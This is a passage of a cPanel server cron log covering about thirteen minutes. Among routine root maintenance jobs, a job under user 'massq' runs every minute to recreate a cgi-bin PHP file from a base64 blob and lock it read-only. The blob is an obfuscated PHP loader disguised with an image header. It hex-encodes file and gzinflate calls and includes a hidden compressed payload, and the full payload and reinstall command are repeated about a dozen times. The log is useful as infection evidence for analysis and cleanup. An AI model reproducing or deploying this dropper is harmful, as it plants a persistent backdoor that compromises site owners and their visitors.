&quot;$fp&quot;)
Nov 11 00:07:01 server CROND[25497]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:08:01 server CROND[26322]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:09:01 server CROND[27231]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 00:09:01 server CROND[27232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:10:01 server CROND[28062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:10:01 server CROND[28061]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:10:01 server CROND[28063]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 00:10:01 server CROND[28064]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:11:01 server CROND[28908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:12:01 server CROND[29685]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 00:12:01 server CROND[29686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:13:01 server CROND[30456]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:14:01 server CROND[31447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:15:01 server CROND[32240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:15:01 server CROND[32241]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:15:01 server CROND[32244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:15:01 server CROND[32243]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:15:01 server CROND[32246]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:16:01 server CROND[638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:17:01 server CROND[1442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:18:01 server CROND[1895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:19:01 server CROND[2526]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:20:01 server CROND[3404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:20:01 server CROND[3405]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:20:01 server CROND[3406]: (root) CMD (/usr/lib64/sa/sa1 1 1)
